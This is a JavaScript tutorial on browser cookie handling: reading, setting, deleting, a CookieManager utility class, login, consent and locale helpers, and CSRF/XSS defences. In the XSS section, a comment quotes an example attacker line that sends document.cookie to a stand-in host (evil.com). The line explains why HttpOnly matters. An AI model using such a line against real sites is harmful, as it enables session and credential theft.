Skip to content

Cookie Operations and Management: The Veteran of Browser Storage

The History and Present of Cookies

Cookies were born in 1994 and are the oldest client-side storage mechanism in web development. They were originally designed to solve HTTP's stateless protocol problem—servers couldn't remember multiple requests from the same user. Cookies are like the membership card the shop clerk hands you when you visit your regular coffee shop; show it each time you visit, and the clerk knows who you are and what you like.

Although we now have more modern storage solutions like localStorage, sessionStorage, and IndexedDB, Cookies remain indispensable in certain scenarios—especially those involving server interactions like authentication and session tracking.

Basic Concepts of Cookies

A Cookie is essentially a small piece of text information sent by the server to the browser for storage, which the browser will automatically include in subsequent requests.

1. User visits website for the first time
   Client ──────request──────> Server

2. Server responds and sets Cookie
   Client <──Set-Cookie: id=abc123── Server

3. Browser saves Cookie

4. Subsequent requests automatically carry Cookie
   Client ──Cookie: id=abc123──> Server

5. Server recognizes user

Accessing Cookies in JavaScript

JavaScript accesses Cookies through the document.cookie property:

javascript
// Read all Cookies
console.log(document.cookie);
// Output similar to: "username=Sarah; theme=dark; language=en"

// Set a Cookie
document.cookie = "visitor=John";

// Note: this is appended, not replaced
document.cookie = "language=zh-CN";
console.log(document.cookie);
// Output: "username=Sarah; theme=dark; language=en; visitor=John; language=zh-CN"

document.cookie behaves somewhat uniquely: reading returns all Cookies; writing only sets one Cookie without overwriting others.

Reading Cookies

Since document.cookie returns a semicolon-separated string, reading a specific Cookie requires parsing this string:

javascript
// Get specific Cookie value
function getCookie(name) {
  const cookies = document.cookie.split(";");

  for (let cookie of cookies) {
    const [cookieName, cookieValue] = cookie.trim().split("=");
    if (cookieName === name) {
      return decodeURIComponent(cookieValue);
    }
  }

  return null;
}

// Usage example
console.log(getCookie("username")); // 'Sarah'
console.log(getCookie("notExist")); // null

// More robust version
function getCookieRobust(name) {
  const nameEQ = encodeURIComponent(name) + "=";
  const cookies = document.cookie.split(";");

  for (let cookie of cookies) {
    cookie = cookie.trim();
    if (cookie.indexOf(nameEQ) === 0) {
      return decodeURIComponent(cookie.substring(nameEQ.length));
    }
  }

  return null;
}

// Get all Cookies as an object
function getAllCookies() {
  const cookies = {};

  if (!document.cookie) {
    return cookies;
  }

  document.cookie.split(";").forEach((cookie) => {
    const [name, value] = cookie.trim().split("=");
    if (name) {
      cookies[decodeURIComponent(name)] = decodeURIComponent(value || "");
    }
  });

  return cookies;
}

console.log(getAllCookies());
// { username: 'Sarah', theme: 'dark', language: 'en' }

Setting Cookies

When setting Cookies, you can specify multiple attributes to control Cookie behavior:

javascript
// Simplest setting
document.cookie = "username=Sarah";

// Set Cookie with expiration
function setCookie(name, value, days) {
  let expires = "";

  if (days) {
    const date = new Date();
    date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
    expires = "; expires=" + date.toUTCString();
  }

  document.cookie =
    encodeURIComponent(name) +
    "=" +
    encodeURIComponent(value) +
    expires +
    "; path=/";
}

// Usage example
setCookie("username", "Michael", 30); // Expires in 30 days
setCookie("sessionId", "abc123", 1); // Expires in 1 day

// Set session Cookie (no expires specified, disappears after browser closes)
document.cookie = "tempData=xyz";
javascript
// Complete Cookie setting function
function setCookieAdvanced(name, value, options = {}) {
  const {
    days, // Valid days
    path = "/", // Path
    domain, // Domain
    secure, // HTTPS only
    sameSite, // SameSite attribute
    maxAge, // Max age in seconds
  } = options;

  let cookieString = encodeURIComponent(name) + "=" + encodeURIComponent(value);

  // Set expiration time
  if (days) {
    const date = new Date();
    date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
    cookieString += "; expires=" + date.toUTCString();
  }

  // Or use max-age (seconds)
  if (maxAge) {
    cookieString += "; max-age=" + maxAge;
  }

  // Set path
  cookieString += "; path=" + path;

  // Set domain
  if (domain) {
    cookieString += "; domain=" + domain;
  }

  // Set Secure attribute
  if (secure) {
    cookieString += "; secure";
  }

  // Set SameSite attribute
  if (sameSite) {
    cookieString += "; samesite=" + sameSite;
  }

  document.cookie = cookieString;
}

// Usage example
setCookieAdvanced("authToken", "secret123", {
  days: 7,
  path: "/",
  secure: true,
  sameSite: "Strict",
});

setCookieAdvanced("preferences", JSON.stringify({ theme: "dark" }), {
  days: 365,
  path: "/",
});

Meaning of Each Attribute

AttributePurposeExample Value
expiresCookie expiration (absolute)Thu, 01 Jan 2025 00:00:00 GMT
max-ageCookie lifetime in seconds3600 (1 hour)
pathCookie accessible path/, /admin
domainCookie accessible domain.example.com
secureOnly send over HTTPSNo value, just presence
sameSiteCross-site request controlStrict, Lax, None

path Attribute

path determines which pages can access this Cookie:

javascript
// Only available under /admin path
setCookieAdvanced("adminSession", "xyz", { path: "/admin" });

// Available across entire website (default)
setCookieAdvanced("userPrefs", "abc", { path: "/" });

// Example:
// Page /admin/dashboard can access path='/' and path='/admin' Cookies
// Page /products can only access path='/' Cookies

domain Attribute

domain determines which domains can access this Cookie:

javascript
// Current domain only (default)
setCookieAdvanced("token", "abc", {
  /* No domain specified */
});

// Allow subdomain access (note leading dot)
setCookieAdvanced("sharedSession", "xyz", { domain: ".example.com" });
// Both app.example.com and www.example.com can access

SameSite Attribute

SameSite is an important security attribute that controls Cookie behavior in cross-site requests:

javascript
// Strict: completely prohibits third-party Cookies
// Most secure, but may affect UX (e.g., clicking links from other sites won't carry Cookies)
setCookieAdvanced("strictCookie", "value", { sameSite: "Strict" });

// Lax: relaxed mode (modern browser default)
// Allows navigation requests (like clicking links) to carry Cookies, but prohibits POST requests
setCookieAdvanced("laxCookie", "value", { sameSite: "Lax" });

// None: allow all cross-site requests (must also set Secure)
// For Cookies that need cross-site usage, like third-party login
setCookieAdvanced("crossSiteCookie", "value", {
  sameSite: "None",
  secure: true,
});

Deleting Cookies

To delete a Cookie, set its expiration time to the past:

javascript
// Delete Cookie
function deleteCookie(name, path = "/") {
  document.cookie =
    encodeURIComponent(name) +
    "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
    path;
}

// Usage example
deleteCookie("username");
deleteCookie("adminSession", "/admin");

// More complete delete function
function deleteCookieComplete(name, options = {}) {
  const { path = "/", domain } = options;

  let cookieString =
    encodeURIComponent(name) +
    "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
    path;

  if (domain) {
    cookieString += "; domain=" + domain;
  }

  document.cookie = cookieString;
}

// Delete all Cookies
function deleteAllCookies() {
  const cookies = document.cookie.split(";");

  for (let cookie of cookies) {
    const name = cookie.split("=")[0].trim();
    deleteCookie(name);
  }
}

Encapsulate all operations into a practical utility class:

javascript
class CookieManager {
  // Get single Cookie
  static get(name) {
    const nameEQ = encodeURIComponent(name) + "=";
    const cookies = document.cookie.split(";");

    for (let cookie of cookies) {
      cookie = cookie.trim();
      if (cookie.indexOf(nameEQ) === 0) {
        try {
          const value = decodeURIComponent(cookie.substring(nameEQ.length));
          // Try to parse JSON
          return JSON.parse(value);
        } catch {
          return decodeURIComponent(cookie.substring(nameEQ.length));
        }
      }
    }
    return null;
  }

  // Set Cookie
  static set(name, value, options = {}) {
    const {
      days = null,
      hours = null,
      minutes = null,
      path = "/",
      domain = null,
      secure = false,
      sameSite = "Lax",
    } = options;

    // Serialize value
    const serializedValue =
      typeof value === "object" ? JSON.stringify(value) : String(value);

    let cookieString =
      encodeURIComponent(name) + "=" + encodeURIComponent(serializedValue);

    // Calculate expiration time
    if (days || hours || minutes) {
      const date = new Date();
      let ms = 0;
      if (days) ms += days * 24 * 60 * 60 * 1000;
      if (hours) ms += hours * 60 * 60 * 1000;
      if (minutes) ms += minutes * 60 * 1000;
      date.setTime(date.getTime() + ms);
      cookieString += "; expires=" + date.toUTCString();
    }

    cookieString += "; path=" + path;

    if (domain) {
      cookieString += "; domain=" + domain;
    }

    if (secure) {
      cookieString += "; secure";
    }

    cookieString += "; samesite=" + sameSite;

    document.cookie = cookieString;
  }

  // Delete Cookie
  static remove(name, options = {}) {
    const { path = "/", domain = null } = options;

    let cookieString =
      encodeURIComponent(name) +
      "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
      path;

    if (domain) {
      cookieString += "; domain=" + domain;
    }

    document.cookie = cookieString;
  }

  // Check if Cookie exists
  static has(name) {
    return this.get(name) !== null;
  }

  // Get all Cookies
  static getAll() {
    const cookies = {};

    if (!document.cookie) {
      return cookies;
    }

    document.cookie.split(";").forEach((cookie) => {
      const [name, value] = cookie.trim().split("=");
      if (name) {
        try {
          cookies[decodeURIComponent(name)] = JSON.parse(
            decodeURIComponent(value || "")
          );
        } catch {
          cookies[decodeURIComponent(name)] = decodeURIComponent(value || "");
        }
      }
    });

    return cookies;
  }

  // Clear all Cookies
  static clear() {
    const cookies = document.cookie.split(";");

    for (let cookie of cookies) {
      const name = cookie.split("=")[0].trim();
      this.remove(name);
    }
  }
}

// Usage example
CookieManager.set("username", "Sarah", { days: 30 });
CookieManager.set("preferences", { theme: "dark", lang: "zh" }, { days: 365 });
CookieManager.set("session", "abc123", {
  hours: 2,
  secure: true,
  sameSite: "Strict",
});

console.log(CookieManager.get("username")); // 'Sarah'
console.log(CookieManager.get("preferences")); // { theme: 'dark', lang: 'zh' }
console.log(CookieManager.has("session")); // true

CookieManager.remove("session");
console.log(CookieManager.getAll());
FeatureCookielocalStoragesessionStorage
Capacity~4KB~5-10MB~5-10MB
Auto-send to server✅ Yes❌ No❌ No
LifecycleConfigurablePermanentSession end
Access methodServer+ClientClient onlyClient only
HttpOnly support✅ Yes❌ No❌ No
Cross-subdomain✅ Configurable❌ No❌ No

When to Use Cookies

javascript
// ✅ Scenarios suitable for Cookies

// 1. Data that needs to be sent to server
CookieManager.set("authToken", "jwt_token_here", {
  days: 7,
  secure: true,
  sameSite: "Strict",
});

// 2. Sensitive data needing HttpOnly protection (server-set only)
// Server response: Set-Cookie: sessionId=abc; HttpOnly; Secure

// 3. Cross-subdomain data sharing
CookieManager.set("sharedUser", "userId", {
  days: 30,
  domain: ".example.com",
});

// 4. User tracking (first-party)
CookieManager.set("visitorId", generateUUID(), { days: 365 });
javascript
// ❌ Scenarios NOT suitable for Cookies

// 1. Large data storage — use localStorage or IndexedDB
// Cookies limited to ~4KB, and sent with every request

// 2. Client-side only data — use Web Storage
// Data not needing server send is more efficient with Web Storage

// 3. Frequently read/write data — Cookie parsing is slow
// Use Web Storage for performance-sensitive scenarios

Practical Application Scenarios

User Login Status

javascript
class AuthCookie {
  static TOKEN_NAME = "auth_token";
  static USER_NAME = "user_info";

  static login(token, user, rememberMe = false) {
    const options = {
      secure: true,
      sameSite: "Strict",
      path: "/",
    };

    if (rememberMe) {
      options.days = 30;
    }
    // No days set means session Cookie

    CookieManager.set(this.TOKEN_NAME, token, options);
    CookieManager.set(this.USER_NAME, user, options);
  }

  static logout() {
    CookieManager.remove(this.TOKEN_NAME);
    CookieManager.remove(this.USER_NAME);
  }

  static isLoggedIn() {
    return CookieManager.has(this.TOKEN_NAME);
  }

  static getToken() {
    return CookieManager.get(this.TOKEN_NAME);
  }

  static getUser() {
    return CookieManager.get(this.USER_NAME);
  }
}

// Usage example
// Login (remember me)
AuthCookie.login("jwt_xxxxx", { id: 1, name: "Sarah" }, true);

// Check login status
if (AuthCookie.isLoggedIn()) {
  const user = AuthCookie.getUser();
  console.log(`Welcome back, ${user.name}!`);
}

// Logout
AuthCookie.logout();

Modern websites usually need user consent before setting non-essential Cookies:

javascript
class CookieConsent {
  static CONSENT_KEY = "cookie_consent";

  static getConsent() {
    return CookieManager.get(this.CONSENT_KEY);
  }

  static setConsent(preferences) {
    CookieManager.set(
      this.CONSENT_KEY,
      {
        ...preferences,
        timestamp: Date.now(),
        version: "1.0",
      },
      { days: 365 }
    );

    this.applyConsent(preferences);
  }

  static applyConsent(preferences) {
    if (preferences.analytics) {
      this.enableAnalytics();
    }

    if (preferences.marketing) {
      this.enableMarketing();
    }

    if (preferences.personalization) {
      this.enablePersonalization();
    }
  }

  static enableAnalytics() {
    console.log("Analytics cookies enabled");
    // Initialize Google Analytics etc.
  }

  static enableMarketing() {
    console.log("Marketing cookies enabled");
    // Initialize ad tracking etc.
  }

  static enablePersonalization() {
    console.log("Personalization cookies enabled");
    // Enable personalization features
  }

  static showConsentBanner() {
    const consent = this.getConsent();

    if (!consent) {
      // Show consent banner
      return true;
    }

    // Existing consent record, apply preferences
    this.applyConsent(consent);
    return false;
  }

  static revokeConsent() {
    CookieManager.remove(this.CONSENT_KEY);
    // Clear all non-essential Cookies
    console.log("Cookie consent revoked");
  }
}

// Usage example
if (CookieConsent.showConsentBanner()) {
  // Show Cookie consent dialog
  // After user clicks accept:
  CookieConsent.setConsent({
    essential: true, // Essential Cookies, always on
    analytics: true, // Analytics Cookies
    marketing: false, // Marketing Cookies
    personalization: true, // Personalization Cookies
  });
}

Language and Region Preferences

javascript
class LocalePreference {
  static COOKIE_NAME = "user_locale";

  static set(locale, options = {}) {
    CookieManager.set(this.COOKIE_NAME, locale, {
      days: 365,
      path: "/",
      ...options,
    });
  }

  static get() {
    return CookieManager.get(this.COOKIE_NAME);
  }

  static detect() {
    // Prioritize user-set preference
    const saved = this.get();
    if (saved) return saved;

    // Check browser language
    const browserLang = navigator.language || navigator.userLanguage;

    // Map to supported languages
    const supportedLocales = ["en-US", "zh-CN", "ja-JP", "ko-KR"];
    const locale =
      supportedLocales.find((l) =>
        l.startsWith(browserLang.split("-")[0])
      ) || "en-US";

    return locale;
  }
}

// Usage example
const locale = LocalePreference.detect();
console.log(`Current language: ${locale}`);

// User switches language
LocalePreference.set("zh-CN");

Security Best Practices

Preventing XSS Attacks

javascript
// ⚠️ Cookies can be stolen by XSS attacks
// Attacker-injected scripts can execute:
// fetch('https://evil.com/steal?cookie=' + document.cookie);

// ✅ Sensitive Cookies should use HttpOnly (server-set only)
// Server response: Set-Cookie: sessionId=abc; HttpOnly; Secure

// ✅ For client-accessible Cookies, validate and sanitize
function sanitizeCookieValue(value) {
  // Remove potential injection characters
  return String(value).replace(/[<>"'&;]/g, "");
}

Preventing CSRF Attacks

javascript
// ✅ Use SameSite attribute
CookieManager.set("sessionId", "abc", {
  secure: true,
  sameSite: "Strict", // or 'Lax'
});

// ✅ Implement CSRF Token
function setCsrfToken() {
  const token = crypto.randomUUID();
  CookieManager.set("csrf_token", token, {
    secure: true,
    sameSite: "Strict",
  });
  return token;
}

// Include CSRF Token in form
function addCsrfToForm(form) {
  const token = CookieManager.get("csrf_token");
  const input = document.createElement("input");
  input.type = "hidden";
  input.name = "_csrf";
  input.value = token;
  form.appendChild(input);
}
javascript
function getCookieSize() {
  const cookieString = document.cookie;
  const bytes = new Blob([cookieString]).size;
  return {
    bytes,
    kb: (bytes / 1024).toFixed(2),
    percentage: ((bytes / 4096) * 100).toFixed(1) + "%",
  };
}

function checkCookieUsage() {
  const usage = getCookieSize();

  if (usage.bytes > 3500) {
    // Approaching 4KB limit
    console.warn(`Cookie usage too high: ${usage.kb}KB (${usage.percentage})`);
    return false;
  }

  console.log(`Cookie usage: ${usage.kb}KB (${usage.percentage})`);
  return true;
}

// Check periodically
setInterval(checkCookieUsage, 60000);

Common Issues and Solutions

javascript
// Problem 1: Path mismatch
// Cookie set on /admin page defaults to /admin path only
document.cookie = "test=123"; // path defaults to current path
// Solution: explicitly specify path='/'
document.cookie = "test=123; path=/";

// Problem 2: Domain mismatch
// Cookie set on sub.example.com can't be accessed by example.com by default
// Solution: set domain=.example.com

// Problem 3: Secure attribute invalid under HTTP
// Solution: test Secure Cookies under HTTPS

// Problem 4: SameSite=None requires Secure
document.cookie = "test=123; SameSite=None; Secure"; // Must set both

Debugging Cookies

javascript
// View all Cookie details
function debugCookies() {
  const cookies = CookieManager.getAll();
  console.table(cookies);

  const usage = getCookieSize();
  console.log(`Total size: ${usage.kb}KB`);
}

// In browser console
// Application > Storage > Cookies can view complete information

Summary

As a veteran member of web storage, Cookies still play an important role in authentication and session management. Despite drawbacks like small capacity and cumbersome API, their features of automatically being sent to servers and supporting HttpOnly security attributes make them the best choice in certain scenarios.

Key takeaways:

  • Cookies automatically send to servers with requests, suitable for authentication
  • Use Secure and HttpOnly attributes to enhance security
  • SameSite attribute effectively prevents CSRF attacks
  • Capacity limited to ~4KB, large data storage should use Web Storage
  • Encapsulate utility classes to simplify operations and improve maintainability

Reasonable use of Cookies, combined with modern Web Storage API, can build secure and efficient client-side storage solutions.